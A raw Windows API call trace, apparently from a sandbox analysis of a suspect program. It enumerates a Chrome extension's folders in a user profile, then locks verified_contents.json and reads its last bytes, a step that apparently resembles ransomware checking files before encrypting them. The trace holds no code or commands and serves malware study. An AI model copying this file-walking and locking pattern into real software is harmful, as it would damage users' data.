dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb57d0b80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb57d0b80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb581ce40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb581ce40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb581ce40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb581ce40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5842fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5842fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5869100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5869100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb59277e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb59277e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb59bfd60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb59bfd60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0069.542] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5aca700, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5aca700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5b62c80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5b62c80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5cb98e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5cb98e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5cdfa40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5cdfa40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5e82960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5e82960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5e82960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5e82960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb623abc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb623abc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb62acfe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb62acfe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb649c1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb649c1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb64c2320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb64c2320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb64c2320, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb64c2320, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb64e8480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb64e8480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb655a8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb655a8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb65cccc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb65cccc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb66b1500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb66b1500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb66d7660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb66d7660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6795d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6795d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6854420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6854420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb69ab080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb69ab080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb69ab080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb69ab080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6a1d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6a1d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6a1d4a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6a1d4a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6a69760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6a69760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6ab5a20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6ab5a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6b9a260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6b9a260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6bc03c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6bc03c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6be6520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6be6520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6c7eaa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6c7eaa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6d3d180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6d3d180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6dfb860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6dfb860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6e6dc80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6e6dc80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6eb9f40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6eb9f40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0069.543] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6eb9f40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6eb9f40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0069.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d96e0 | out: hHeap=0x5b0000) returned 1 [0069.544] FindClose (in: hFindFile=0x600610 | out: hFindFile=0x600610) returned 1 [0069.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0069.544] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0069.544] lstrcmpW (lpString1="_metadata", lpString2=".") returned 1 [0069.544] lstrcmpW (lpString1="_metadata", lpString2="..") returned 1 [0069.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0069.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0069.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x17e) returned 0x3160688 [0069.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689470 | out: hHeap=0x5b0000) returned 1 [0069.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9148 [0069.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d95b8 [0069.544] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0069.544] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.544] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.544] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.544] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.544] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0x2bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1 [0069.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0069.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0069.593] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ced, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.593] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.593] ReadFile (in: hFile=0x28c, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0069.595] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 